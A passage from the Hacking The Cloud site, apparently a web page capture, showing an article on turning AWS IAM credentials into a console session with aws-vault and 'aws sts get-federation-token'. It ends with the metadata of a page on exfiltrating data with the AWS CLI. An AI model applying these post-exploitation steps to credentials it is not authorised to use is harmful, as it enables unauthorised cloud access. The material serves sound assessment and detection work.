- Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#using-aws-vault class=md-nav__link> <span class=md-ellipsis> Using aws-vault </span> </a> <nav class=md-nav aria-label="Using aws-vault"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#user-credentials class=md-nav__link> <span class=md-ellipsis> User Credentials </span> </a> </li> <li class=md-nav__item> <a href=#sts-credentials class=md-nav__link> <span class=md-ellipsis> STS Credentials </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/post_exploitation/create_a_console_session_from_iam_credentials.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Create a Console Session from IAM Credentials</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="m23 12-2.44-2.78.34-3.68-3.61-.82-1.89-3.18L12 3 8.6 1.54 6.71 4.72l-3.61.81.34 3.68L1 12l2.44 2.78-.34 3.69 3.61.82 1.89 3.18L12 21l3.4 1.46 1.89-3.18 3.61-.82-.34-3.68zm-10 5h-2v-2h2zm0-4h-2V7h2z"/></svg></span> <strong>Technique seen in the wild</strong></p> <hr> <p>Reference: <a href=https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/ >Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies</a></p> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="m21.71 20.29-1.42 1.42a1 1 0 0 1-1.41 0L7 9.85A3.8 3.8 0 0 1 6 10a4 4 0 0 1-3.78-5.3l2.54 2.54.53-.53 1.42-1.42.53-.53L4.7 2.22A4 4 0 0 1 10 6a3.8 3.8 0 0 1-.15 1l11.86 11.88a1 1 0 0 1 0 1.41M2.29 18.88a1 1 0 0 0 0 1.41l1.42 1.42a1 1 0 0 0 1.41 0l5.47-5.46-2.83-2.83M20 2l-4 2v2l-2.17 2.17 2 2L18 8h2l2-4Z"/></svg></span> <strong>Tools mentioned in this article</strong></p> <hr> <p><a href=https://github.com/99designs/aws-vault>aws-vault</a>: A vault for securely storing and accessing AWS credentials in development environments.</p> <p><a href=https://github.com/NetSPI/aws_consoler>aws_consoler</a>: A utility to convert your AWS CLI credentials into AWS console access.</p> <p><a href=https://github.com/RhinoSecurityLabs/pacu>Pacu</a>: The AWS exploitation framework, designed for testing the security of Amazon Web Services environments.</p> </li> </ul> </div> <p>When performing an AWS assessment you will likely encounter IAM credentials. These credentials can be used with the <a href=https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/#working-with-the-keys>AWS CLI</a> or other tooling to query the AWS API. </p> <p>While this can be useful, sometimes you just can't beat clicking around the console. If you have IAM credentials, there is a way that you can spawn an AWS Console session using a tool such as <a href=https://github.com/99designs/aws-vault>aws-vault</a>. This can make certain actions much easier rather than trying to remember the specific flag name for the AWS CLI.</p> <div class="admonition note"> <p class=admonition-title>Note</p> <p>If you are using temporary IAM credentials (ASIA...), for example, from an EC2 instance, you do not need to have any special IAM permissions to do this. If you are using long-term credentials (AKIA...), you need to have either <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sts/get-federation-token.html>sts:GetFederationToken</a> or <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sts/assume-role.html>sts:AssumeRole</a> permissions. This is to generate the temporary credentials you will need.</p> </div> <div class="admonition tip"> <p class=admonition-title>Tip</p> <p>If you are attempting to avoid detection, this technique is <strong>not</strong> recommended. Aside from the suspicious <code>ConsoleLogin</code> CloudTrail log, and the odd user-agent (Ex: Why is the IAM role associated with the CI/CD server using a Firefox user-agent string?), you will also generate a ton of CloudTrail logs.</p> </div> <h2 id=using-aws-vault>Using aws-vault<a class=headerlink href=#using-aws-vault title="Permanent link">&para;</a></h2> <p>To start, <a href=https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/#working-with-the-keys>export the relevant environment variables</a> for the IAM credentials you have. Next, <a href=https://github.com/99designs/aws-vault#installing>install aws-vault</a>.</p> <p>From here, perform the following commands depending on the type of credentials you have.</p> <h3 id=user-credentials>User Credentials<a class=headerlink href=#user-credentials title="Permanent link">&para;</a></h3> <p>For long-term credentials (Those starting with AKIA), there is an extra step that must be completed first. You will need to generate temporary credentials to retrieve the sign in token. To do this, we will make use of <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sts/get-federation-token.html>sts:GetFederationToken</a>. As an alternative, <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sts/assume-role.html>sts:AssumeRole</a> can also be used.</p> <div class=highlight><pre><span></span><code>aws sts get-federation-token --name blah
 </code></pre></div> <p>This will return temporary IAM credentials that you can use with the next step.</p> <h3 id=sts-credentials>STS Credentials<a class=headerlink href=#sts-credentials title="Permanent link">&para;</a></h3> <p>For short-term credentials (Those starting with ASIA), you can run the following command:</p> <div class=highlight><pre><span></span><code>aws-vault login
 </code></pre></div> <div class="admonition tip"> <p class=admonition-title>Tip</p> <p>If you'd like to generate a link without it automatically opening a new tab in your browser you can use the <code>-s</code> flag and it will be printed to stdout.</p> </div> <p>To learn more about custom identity broker access to the AWS Console please see the <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_enable-console-custom-url.html>official documentation</a>.</p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">February 19, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">August 3, 2022</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> <a href=https://github.com/mosesrenegade class=md-author title=@mosesrenegade> <img src="https://avatars.githubusercontent.com/u/944551?v=4&size=72" alt=mosesrenegade> </a> <a href=https://github.com/web-flow class=md-author title=@web-flow> <img src="https://avatars.githubusercontent.com/u/19864447?v=4&size=72" alt=web-flow> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
 document$.subscribe(() => { lightbox.reload() });
diff --git a/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/index.html b/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/index.html
index cfc65876f..94c9781b7 100644
--- a/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/index.html
+++ b/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Using the AWS CLI as a LOLScript to download and exfiltrate data."><link href=https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ rel=canonical><link href=../create_a_console_session_from_iam_credentials/ rel=prev><link href=../get_iam_creds_from_console_session/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Download Tools and Exfiltrate Data with the AWS CLI - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Download Tools and Exfiltrate Data with the AWS CLI - Hacking The Cloud"><meta property=og:description content="Using the AWS CLI as a LOLScript to download and exfiltrate data."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Download Tools and Exfiltrate Data with the AWS CLI - Hacking The Cloud"><meta property=twitter:description content="Using the AWS CLI as a LOLScript to download and exfiltrate data."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
